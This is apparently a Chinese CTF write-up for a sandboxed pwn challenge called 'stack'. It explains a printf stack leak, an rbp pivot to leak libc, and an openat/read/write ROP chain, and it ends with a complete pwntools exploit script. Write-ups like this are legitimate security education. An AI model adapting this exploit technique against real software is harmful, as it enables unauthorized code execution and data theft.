强网拟态wp
babystack很简单,就不写wp了,直接来看stack这题
stack
程序开了沙箱,所以只能打orw了,主程序只有下面两个输入函数,第一次是输入名字,第二次可以栈溢出控制ret,看起来很简单,但是搜gadgets的时候发现没有控制rdi的寄存器,这就需要泄露一个libc地址。
注意第一个输入名字的函数,buffer的长度是0x10,我们可以输入的长度最大为0x18,而输出函数用的是printf,那么就可以给buffer填满0x10,这样printf就可以顺带打印出rbp的值,于是我们就获得了一个栈地址。

接下来调试找一个libc地址,如下图,我们泄露出来的rbp+8就是存放libc的地址,但是我们要得到的是这个地址存放的值

于是就想利用第二次read栈溢出到printf打印出来

那么怎么打印呢,可以仔细看一下printf的汇编,%s打印出来的其实就是rbp-0x10的内容,那如果我们在栈溢出的时候修改掉rbp,让他为libc的栈地址+0x10,就可以打印出libc了

做到这里,又遇到一个问题吗,返回printf后程序就直接结束了,我们泄露出来libc后还怎么构造rop链?
我们先看一下printf的返回值

发现printf的返回地址存放在我们一开始泄露出来的rbp+0x20

那么现在的问题就是如何修改printf的返回值,可以在栈溢出的时候先不返回printf,先返回read,依旧看汇编,发现read读入的地址其实也是rbp决定的,所以只要控制了rbp,就可以往指定位置写入

具体调试一下,我们把rbp覆盖成printf的ret+0x60即可完成向ret写入,把下一次溢出的payload的前八个字节改成main函数地址即可,然后这一次payload就可以返回到printf泄露libc了,泄露完之后继续返回到main函数

有了libc之后,就可以拿到gadgets,我们可以利用栈溢出打orw,因为open也被禁了,所以用openat代替open,把flag字符串写在payload前面然后调试找到该地址距离rbp的偏移即可。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| from pwn import * from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug') context.terminal = ['tmux', 'splitw', '-h'] p=process('./pwn_patched')
elf=ELF('./pwn_patched') libc=ELF('./libc.so.6') mprotect=elf.sym['mprotect'] read=0x4013d4 main=0x401413 printf=0x40139B p.recvuntil(b'name?')
p.send(b'a'*15+b'b')
p.recvuntil(b'b') rbp=u64(p.recv(6).ljust(8,b'\x00')) log.success('rbp -->'+hex(rbp)) libc_stack=rbp+0x8 ret=rbp+0x20 gdb.attach(p) payload=b'a'*0x60+p64(ret+0x60)+p64(read)
p.recvuntil(b'else?')
p.sendline(payload)
payload =p64(main)+b"a"*0x58+p64(libc_stack+0x10)+p64(printf) p.sendline(payload)
p.recvuntil(b"Hello, ") libc_base=u64(p.recv(6).ljust(8,b'\x00')) -0x29d90 log.success('libc_base-->'+hex(libc_base))
rdi=libc_base+0x000000000002a3e5 rsi=libc_base+0x000000000002be51 rdx_rcx_rbx=libc_base+0x0000000000108b73
p.recvuntil(b'name?') p.sendline(b'a')
p.recvuntil(b'else?') flag=rbp-0x50 bss=0x404000 payload=b'./flag\x00\x00'+b'a'*0x60 payload+=p64(rdi)+p64((-100) & 0xffffffffffffffff) payload+=p64(rsi)+p64(flag) payload+=p64(rdx_rcx_rbx)+p64(0)+p64(0)+p64(0) payload+=p64(libc_base+libc.sym['openat']) payload+=p64(rdi)+p64(3) payload+=p64(rsi)+p64(bss+0x700) payload+=p64(rdx_rcx_rbx)+p64(0x100)+p64(0)+p64(0)+p64(elf.sym['read']) payload+=p64(rdi)+p64(1) payload+=p64(rsi)+p64(bss+0x700) payload+=p64(rdx_rcx_rbx)+p64(0x100)+p64(0)+p64(0)+p64(libc_base+libc.sym['write'])
p.sendline(payload)
p.interactive()
|